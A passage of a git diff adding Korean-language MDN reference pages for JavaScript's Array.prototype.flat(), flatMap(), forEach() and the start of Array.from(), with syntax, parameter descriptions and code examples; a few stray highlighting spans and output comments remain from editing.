+   <td>{{SpecName('ES6', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.findIndex")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/flat/index.html b/files/ko/web/javascript/reference/global_objects/array/flat/index.html
new file mode 100644
index 0000000000..4d4af6dc36
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/flat/index.html
@@ -0,0 +1,160 @@
+---
+title: Array.prototype.flat()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flat
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>flat()</strong></code> 메서드는 모든 하위 배열 요소를 지정한 깊이까지 재귀적으로 이어붙인 새로운 배열을 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>newArr</em> = <em>arr</em>.flat([<em>depth</em>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>depth</code> {{optional_inline}}</dt>
+ <dd>중첩 배열 구조를 평탄화할 때 사용할 깊이 값. 기본값은 1입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>하위 배열을 이어붙인 새로운 배열.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="중첩_배열_평탄화">중첩 배열 평탄화</h3>
+
+<pre class="brush: js">const arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+const arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+const arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+
+const arr4 = [1, 2, [3, 4, [5, 6, [7, 8, [9, 10]]]]];
+arr4.flat(Infinity);
+// [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]</pre>
+
+<h3 id="배열_구멍_제거">배열 구멍 제거</h3>
+
+<p><code>flat</code> 메서드는 배열의 구멍도 제거합니다.</p>
+
+<pre class="brush: js">const arr5 = [1, 2, , 4, 5];
+arr5.flat();
+// [1, 2, 4, 5]</pre>
+
+<h2 id="대안">대안</h2>
+
+<h3 id="reduce와_concat"><code>reduce</code>와 <code>concat</code></h3>
+
+<pre class="brush: js">const arr = [1, 2, [3, 4]];
+
+// To flat single level array
+arr.flat();
+// is equivalent to
+arr.reduce((acc, val) =&gt; acc.concat(val), []);
+// [1, 2, 3, 4]
+
+// or with decomposition syntax
+const flattened = arr =&gt; [].concat(...arr);</pre>
+
+<h3 id="reduce_concat_isArray_재귀"><code>reduce</code> + <code>concat</code> + <code>isArray</code> + 재귀</h3>
+
+<pre class="brush: js">const arr = [1, 2, [3, 4, [5, 6]]];
+
+// to enable deep level flatten use recursion with reduce and concat
+function flatDeep(arr, d = 1) {
+   return d &gt; 0 ? arr.reduce((acc, val) =&gt; acc.concat(Array.isArray(val) ? flatDeep(val, d - 1) : val), [])
+                : arr.slice();
+};
+
+flatDeep(arr, Infinity);
+// [1, 2, 3, 4, 5, 6]</pre>
+
+<h3 id="스택">스택</h3>
+
+<pre class="brush: js">// non recursive flatten deep using a stack
+// note that depth control is hard/inefficient as we will need to tag EACH value with its own depth
+// also possible w/o reversing on shift/unshift, but array OPs on the end tends to be faster
+function flatten(input) {
+  const stack = [...input];
+  const res = [];
+  while(stack.length) {
+    // pop value from stack
+    const next = stack.pop();
+    if(Array.isArray(next)) {
+      // push back array items, won't modify the original input
+      stack.push(...next);
+    } else {
+      res.push(next);
+    }
+  }
+  // reverse to restore input order
+  return res.reverse();
+}
+
+const arr = [1, 2, [3, 4, [5, 6]]];
+flatten(arr);
+// [1, 2, 3, 4, 5, 6]</pre>
+
+<h3 id="Generator_함수"><code>Generator</code> 함수</h3>
+
+<pre class="brush: js">function* flatten(array, depth) {
+    if(depth === undefined) {
+      depth = 1;
+    }
+    for(const item of array) {
+        if(Array.isArray(item) &amp;&amp; depth &gt; 0) {
+          yield* flatten(item, depth - 1);
+        } else {
+          yield item;
+        }
+    }
+}
+
+const arr = [1, 2, [3, 4, [5, 6]]];
+const flattened = [...flatten(arr, Infinity)];
+// [1, 2, 3, 4, 5, 6]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.flat', 'Array.prototype.flat')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flat")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatMap()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/flatmap/index.html b/files/ko/web/javascript/reference/global_objects/array/flatmap/index.html
new file mode 100644
index 0000000000..9d762001e8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/flatmap/index.html
@@ -0,0 +1,148 @@
+---
+title: Array.prototype.flatMap()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+tags:
+  - Array
+  - Experimental
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<p><code><strong>flatMap()</strong></code> 메서드는 먼저 매핑함수를 사용해 각 엘리먼트에 대해 map 수행 후, 결과를 새로운 배열로 평탄화합니다. 이는 깊이 1의 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat">flat</a> 이 뒤따르는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> 과 동일하지만, <code>flatMap</code> 은 아주 유용하며 둘을 하나의 메소드로 병합할 때 조금 더 효율적입니다.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatmap.html")}}</p>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.flatMap(<var>callback(currentValue[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>새로운 배열의 엘리먼트를 생성하는 함수. 3개의 아규먼트를 갖습니다.
+ <dl>
+  <dt></dt>
+  <dt><code>currentValue</code></dt>
+  <dd>배열에서 처리되는 현재 엘리먼트.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>배열에서 처리되고 있는 현재 엘리먼트의 인덱스.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd><code>map</code> 이 호출된 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd><code>callback</code> 실행에서 <code>this</code> 로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>각 엘리먼트가 callback 함수의 결과이고, 깊이 1로 평탄화된 새로운 배열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>callback 함수의 상세 설명은 {{jsxref("Array.prototype.map()")}} 문서를 보시기 바랍니다. <code>flatMap</code> 메소드는 깊이 1의 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat">flat</a></code> 이 뒤따르는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a></code> 과 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="map_과_flatMap"><code>map</code> 과 <code>flatMap</code></h3>
+
+<pre class="brush: js">let arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+
+arr1.map(</span></span></span></span></span>x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// [[2], [4], [6], [8]]
+
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);
+// [2, 4, 6, 8]</span></span></span></span></span>
+
+// 한 레벨만 평탄화됨
+arr1.flatMap(x =&gt; [[x * 2]]);
+// [[2], [4], [6], [8]]
+</pre>
+
+<p>위 코드는 map 자체만을 사용해서 구현할 수 있지만, 다음은 <code>flatMap</code> 의 유즈케이스를 더 잘 보여주는 예시입니다.</p>
+
+<p>문장의 리스트로부터 단어의 리스트를 생성해봅시다.</p>
+
+<pre class="brush: js">let arr1 = ["it's Sunny in", "", "California"];
+
+arr1.map(x=&gt;x.split(" "));
+// [["it's","Sunny","in"],[""],["California"]]
+
+arr1.flatMap(x =&gt; x.split(" ")<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);
+// ["it's","Sunny","in","California"]</span></span></span></span></span></pre>
+
+<p>출력 리스트의 길이는 입력 리스트의 길이와 다를 수 있습니다.</p>
+
+<h3 id="flatMap_을_이용한_아이템_추가_및_제거"><code>flatMap()</code> 을 이용한 아이템 추가 및 제거</h3>
+
+<p><code>flatMap</code>은 <code>map</code>을 하는 과정에서 아이템을 추가하거나 제거하여 아이템 개수를 바꿀 수 있습니다. 다른 말로는 각각의 아이템에 대하여 1:1대응관계 뿐만 아니라 다대다 대응도 가능하다는 것입니다. 이러한 측면에서 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">filter</a>가 하는 역할의 반대역할을 한다고 볼 수 있습니다. 단순히 아무런 변화를 주고 싶지 않을때에는 원소 하나를 가진 배열을 반환할 수도, 아이템을 추가하고 싶을 때는 다-원소 배열을 반환할 수도, 아이템을 제거하고 싶을 때에는 빈 배열을 반환할 수도 있습니다.</p>
+
+<pre><code>// 다음은 음수는 제거하고 홀수는 1과 짝수로 분리하는 예시입니다.
+let a = [5, 4, -3, 20, 17, -33, -4, 18]
+//       |\  \  x   |  | \   x   x   |
+//      [4,1, 4,   20, 16, 1,       18]
+
+a.flatMap( (n) =&gt;
+  (n &lt; 0) ?      [] :
+  (n % 2 == 0) ? [n] :
+                 [n-1, 1]
+)
+
+// expected output: [4, 1, 4, 20, 16, 1, 18]</code></pre>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="대안">대안</h2>
+
+<h3 id="reduce_와_concat"><code>reduce</code> 와 <code>concat</code></h3>
+
+<pre class="brush: js">var arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+</span></span></span></span></span>
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// 다음과 동일합니다
+arr1.reduce((acc, x) =&gt; acc.concat([x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>), []);</span></span></span></span></span>
+<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>// [2, 4, 6, 8]</span></span></span></span></span>
+</pre>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap"><code>Array.prototype.flatMap</code> proposal</a></td>
+   <td>Finished (4)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flatMap")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flat()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/foreach/index.html b/files/ko/web/javascript/reference/global_objects/array/foreach/index.html
new file mode 100644
index 0000000000..809bc4d269
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/foreach/index.html
@@ -0,0 +1,264 @@
+---
+title: Array.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Array/forEach
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Referennce
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>forEach()</strong></code> 메서드는 주어진 함수를 배열 요소 각각에 대해 실행합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.forEach(<var>callback(currentvalue[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소에 대해 실행할 함수. 다음 세 가지 매개변수를 받습니다.</dd>
+ <dd>
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>처리할 현재 요소.</dd>
+  <dt><code>index</code> {{optional_inline}}</dt>
+  <dd>처리할 현재 요소의 인덱스.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">forEach()</span></font>를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>forEach()</code>는 주어진 <code>callback</code>을 배열에 있는 각 요소에 대해 오름차순으로 한 번씩 실행합니다. 삭제했거나 초기화하지 않은 인덱스 속성에 대해서는 실행하지 않습니다. (예: 희소 배열)</p>
+
+<p><code>callback</code>은 다음 세 인수와 함께 호출됩니다.</p>
+
+<ul>
+ <li><strong>요소 값</strong></li>
+ <li><strong>요소 인덱스</strong></li>
+ <li><strong>순회 중인 배열</strong></li>
+</ul>
+
+<p><code>thisArg</code> 매개변수를 <code>forEach()</code>에 제공한 경우 <code>callback</code>을 호출할 때 전달해 <code>this</code>의 값으로 쓰입니다. 전달하지 않으면 <code>undefined</code>를 사용하며, 최종 <code>this</code> 값은 {{jsxref("Operators/this", "함수의 <code>this</code>를 결정하는 평소 규칙", "", 0)}}을 따릅니다.</p>
+
+<p><code>forEach()</code>로 처리할 요소의 범위는 최초 <code>callback</code> 호출 전에 설정됩니다. <code>forEach()</code> 호출을 시작한 뒤 배열에 추가한 요소는 <code>callback</code>이 방문하지 않습니다. 배열의 기존 요소값이 바뀐 경우, <code>callback</code>에 전달하는 값은 <code>forEach()</code>가 요소를 방문한 시점의 값을 사용합니다. 방문하기 전에 삭제한 요소는 방문하지 않습니다.</p>
+
+<p><code>forEach()</code>는 각 배열 요소에 대해 한 번씩 <code>callback</code> 함수를 실행합니다. {{jsxref("Array.prototype.map()", "map()")}}과 {{jsxref("Array.prototype.reduce()", "reduce()")}}와는 달리 {{jsxref("undefined")}}를 반환하기 때문에 메서드 체인의 중간에 사용할 수 없습니다. 대표적인 사용처는 메서드 체인 끝에서 부작용<sup>side effect</sup>을 실행하는 겁니다.</p>
+
+<p><code>forEach()</code>는 배열을 변형하지 않습니다. 그러나 <code>callback</code>이 변형할 수는 있습니다.</p>
+
+<div class="note">
+<p>예외를 던지지 않고는 <code>forEach()</code>를 중간에 멈출 수 없습니다. 중간에 멈춰야 한다면 <code>forEach()</code>가 적절한 방법이 아닐지도 모릅니다.</p>
+
+<p>다음 방법으로는 조기에 반복을 종료할 수 있습니다.</p>
+
+<ul>
+ <li>간단한 <a href="/ko/docs/Web/JavaScript/Reference/Statements/for">for</a> 반복문</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a>, <a href="/ko/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 반복문</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
+
+<p>다른 배열 메서드 {{jsxref("Array.prototype.every()", "every()")}}, {{jsxref("Array.prototype.some()", "some()")}}, {{jsxref("Array.prototype.find()", "find()")}}, {{jsxref("Array.prototype.findIndex()", "findIndex()")}}는 배열 요소를 판별 함수에 전달하고, 그 결과의 참/거짓 여부에 따라 반복의 종료 여부를 결정합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="초기화하지_않은_값의_반복_생략">초기화하지 않은 값의 반복 생략</h3>
+
+<pre class="brush: js">const arraySparse = [1,3,,7]
+let numCallbackRuns = 0
+
+arraySparse.forEach(function(element){
+  console.log(element)
+  numCallbackRuns++
+})
+
+console.log("numCallbackRuns: ", numCallbackRuns)
+
+// 1
+// 3
+// 7
+// numCallbackRuns: 3
+// comment: as you can see the missing value between 3 and 7 didn't invoke callback function.</pre>
+
+<h3 id="for_반복문을_forEach로_바꾸기"><code>for</code> 반복문을 <code>forEach()</code>로 바꾸기</h3>
+
+<pre class="brush: js">const items = ['item1', 'item2', 'item3'];
+const copy = [];
+
+// 이전
+for (let i=0; i&lt;items.length; i++) {
+  copy.push(items[i]);
+}
+
+// 이후
+items.forEach(function(item){
+  copy.push(item);
+});</pre>
+
+<h3 id="배열_콘텐츠_출력">배열 콘텐츠 출력</h3>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> {{domxref("console.table()")}}을 사용하면 배열 내용물을 서식에 맞춰 출력할 수 있습니다.</p>
+
+<p>다음 예제는 <code>forEach()</code>를 사용한 다른 방법을 소개합니다.</p>
+</div>
+
+<p>다음 코드는 배열의 각 요소에 대해 한 줄을 기록합니다:</p>
+
+<pre class="brush:js">function logArrayElements(element, index, array) {
+  console.log('a[' + index + '] = ' + element);
+}
+
+// 인덱스 2는 배열의 그 위치에 항목이 없기에
+// 건너뜀을 주의하세요.
+[2, 5, , 9].forEach(logArrayElements);
+// 기록:
+// a[0] = 2
+// a[1] = 5
+// a[3] = 9
+</pre>
+
+<h3 id="thisArg_사용"><code>thisArg</code> 사용</h3>
+
+<p>다음 예제는 배열의 각 항목에서 객체의 속성을 갱신합니다:</p>
+
+<pre class="brush:js">function Counter() {
+  this.sum = 0
+  this.count = 0
+}
+Counter.prototype.add = function(array) {
+  array.forEach(function(entry) {
+    this.sum += entry
+    ++this.count
+  }, this)
+  // ^---- 주의
+}
+
+const obj = new Counter()
+obj.add([2, 5, 9])
+obj.count
+// 3
+obj.sum
+// 16</pre>
+
+<p><code>thisArg</code> 매개변수(<code>this</code>)를 <code>forEach()</code>에 제공했기에, <code>callback</code>은 전달받은 <code>this</code>의 값을 자신의 <code>this</code> 값으로 사용할 수 있습니다. </p>
+
+<div class="note">
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수 표현식</a>을 사용하여 함수 인수를 전달하는 경우 <code>thisArg</code> 매개변수는 화살표 함수가 {{jsxref("Operators/this", "this")}} 값을 렉시컬(lexical, 정적) 바인딩하기에 생략될 수 있습니다.</p>
+</div>
+
+<h3 id="객체_복사_함수">객체 복사 함수</h3>
+
+<p>다음 코드는 주어진 객체의 사본을 만듭니다.</p>
+
+<p>객체 사본을 만드는 방법에는 여러가지가 있습니다, 다음은 그 중 한 방법으로, ECMAScript 5 <code>Object.*</code> 메타 속성 함수를 사용하여 <code>Array.prototype.forEach()</code>가 작동하는 법을 설명하기 위한 코드입니다.</p>
+
+<pre class="brush: js">function copy(obj) {
+  const copy = Object.create(Object.getPrototypeOf(obj))
+  const propNames = Object.getOwnPropertyNames(obj)
+
+  propNames.forEach(function(name) {
+    const desc = Object.getOwnPropertyDescriptor(obj, name)
+    Object.defineProperty(copy, name, desc)
+  })
+
+  return copy
+}
+
+const obj1 = { a: 1, b: 2 }
+const obj2 = copy(obj1)      // obj2 looks like obj1 now</pre>
+
+<h3 id="반복_중_배열이_변경으로_인한_반복_생략">반복 중 배열이 변경으로 인한 반복 생략</h3>
+
+<p>다음 예제에서는 <code>"one"</code>, <code>"two"</code>, <code>"four"</code>를 기록합니다.</p>
+
+<p><code>forEach()</code>가 값 <code>"two"</code>를 포함하는 항목에 도달하면 전체 배열의 첫 번째 항목을 제거하여, 나머지 모든 항목이 한 위치 앞으로 이동합니다. 요소 <code>"four"</code>는 이제 배열에서 보다 앞에 위치하므로 <code>"three"</code>는 건너 뜁니다.</p>
+
+<p><code>forEach()</code>는 반복 전에 배열의 복사본을 만들지 않습니다.</p>
+
+<pre class="brush:js">let words = ['one', 'two', 'three', 'four']
+words.forEach(function(word) {
+  console.log(word)
+  if (word === 'two') {
+    words.shift()
+  }
+})
+// one
+// two
+// four</pre>
+
+<h3 id="배열_평탄화">배열 평탄화</h3>
+
+<p>다음 예제는 오직 시연 용으로만 추가한 것으로, 평탄화를 하려면 {{jsxref("Array.prototype.flat()")}}을 사용하세요.</p>
+
+<pre class="brush: js">function flatten(arr) {
+  const result = []
+
+  arr.forEach((i) =&gt; {
+    if (Array.isArray(i)) {
+      result.push(...flatten(i))
+    } else {
+      result.push(i)
+    }
+  })
+
+  return result
+}
+
+// Usage
+const nested = [1, 2, 3, [4, 5, [6, 7], 8, 9]]
+
+flatten(nested) // [1, 2, 3, 4, 5, 6, 7, 8, 9]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.forEach")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/from/index.html b/files/ko/web/javascript/reference/global_objects/array/from/index.html
new file mode 100644
index 0000000000..487cc36848
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/from/index.html
@@ -0,0 +1,244 @@
+---
+title: Array.from()
+slug: Web/JavaScript/Reference/Global_Objects/Array/from
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/from
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.from()</strong></code> 메서드는 유사 배열 객체(array-like object)나반복 가능한 객체(iterable object)를 얕게 복사해새로운<code>Array</code> 객체를 만듭니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-from.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">Array.from(<em>arrayLike</em>[, <em>mapFn</em>[, <em>thisArg</em>]])
+</pre>
+
+<h3 id="Parameters" name="Parameters"><span>매개변수</span></h3>
+
+<dl>
+ <dt><code>arrayLike</code></dt>
+ <dd>배열로 변환하고자 하는유사 배열 객체나 반복 가능한 객체.</dd>
+ <dt><code>mapFn</code>{{Optional_inline}}</dt>
+ <dd>배열의 모든 요소에 대해 호출할 맵핑 함수.</dd>
+ <dt><code>thisArg</code>{{Optional_inline}}</dt>
+ <dd><code>mapFn</code> 실행 시에 <code>this</code>로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("Array")}} 인스턴스.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>다음과 같은 경우에 <code>Array.from()</code>으로새<code>Array</code>를 만들 수 있습니다.</p>
+
+<ul>
+ <li>유사 배열 객체 (<code>length</code> 속성과 인덱싱된 요소를 가진 객체)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/iterable">순회 가능한 객체</a> ({{jsxref("Map")}}, {{jsxref("Set")}} 등객체의 요소를 얻을 수 있는 객체)</li>
+</ul>
+
+<p><code>Array.from()</code>은 선택 매개변수인 <code>mapFn</code>를 가지는데,배열(혹은 배열 서브클래스)의 각 요소를{{jsxref("Array.prototype.map", "맵핑", "", 0)}}할 때 사용할 수 있습니다. 즉,<code>Array.from(obj, mapFn, thisArg)</code>는 중간에 다른 배열을 생성하지 않는다는 점을 제외하면<code>Array.from(obj).map(mapFn, thisArg)</code>와 같습니다. 이 특징은 <a href="/ko/docs/Web/JavaScript/Typed_arrays">typed arrays</a>와 같은 특정 배열 서브클래스에서 중간 배열 값이 적절한 유형에 맞게 생략되기 때문에 특히 중요합니다.</p>
+
+<p><code>from()</code> 메서드의 <code>length</code> 속성은 1입니다.</p>
+
+<p>ES2015 이후, 클래스 구문은 내장 및 새 클래스의 상속을 가능케 했습니다. 그 결과로 <code>Array.from</code>과 같은 정적 메서드는 <code>Array</code>의 서브클래스에 의해 상속되며, <code>Array</code> 대신 자신의 인스턴스를 만듭니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="String에서_배열_만들기"><code>String</code>에서 배열 만들기</h3>
+
+<pre class="brush: js">Array.from('foo');
+// ["f", "o", "o"]
+</pre>
+
+<h3 id="Set에서_배열_만들기"><code>Set</code>에서 배열 만들기</h3>
+
+<pre class="brush: js">const s = new Set(['foo', window]);
+Array.from(s);
+// ["foo", window]
+</pre>
+
+<h3 id="Map에서_배열_만들기"><code>Map</code>에서 배열 만들기</h3>
+
+<pre class="brush: js">const m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]
+
+const mapper = new Map([['1', 'a'], ['2', 'b']]);
+Array.from(mapper.values());
+// ['a', 'b'];
+
+Array.from(mapper.keys());
+// ['1', '2'];
+</pre>
+
+<h3 id="배열_형태를_가진_객체(arguments)에서_배열_만들기">배열 형태를 가진 객체(<code>arguments</code>)에서 배열 만들기</h3>
+
+<pre class="brush: js">function f() {
+  return Array.from(arguments);
+}
+
+f(1, 2, 3);
+
+// [1, 2, 3]
+</pre>
+
+<h3 id="Array.from과_화살표_함수_사용하기"><code>Array.from</code>과 화살표 함수 사용하기</h3>
+
+<pre class="brush: js">// Using an arrow function as the map function to
+// manipulate the elements
+Array.from([1, 2, 3], x =&gt; x + x);
+// [2, 4, 6]
+
+// Generate a sequence of numbers
+// Since the array is initialized with `undefined` on each position,
+// the value of `v` below will be `undefined`
+Array.from({length: 5}, (v, i) =&gt; i);
+// [0, 1, 2, 3, 4]
+</pre>
+
+<h3 id="시퀀스_생성기(range)">시퀀스 생성기(range)</h3>
+
+<pre class="brush: js">// Sequence generator function (commonly referred to as "range", e.g. Clojure, PHP etc)
+const range = (start, stop, step) =&gt; Array.from({ length: (stop - start) / step + 1}, (_, i) =&gt; start + (i * step));
+
+// Generate numbers range 0..4
+range(0, 4, 1);
+// [0, 1, 2, 3, 4]
+
+// Generate numbers range 1..10 with step of 2
+range(1, 10, 2);
+// [1, 3, 5, 7, 9]
+
+// Generate the alphabet using Array.from making use of it being ordered as a sequence
+range('A'.charCodeAt(0), 'Z'.charCodeAt(0), 1).map(x =&gt; String.fromCharCode(x));
+// ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
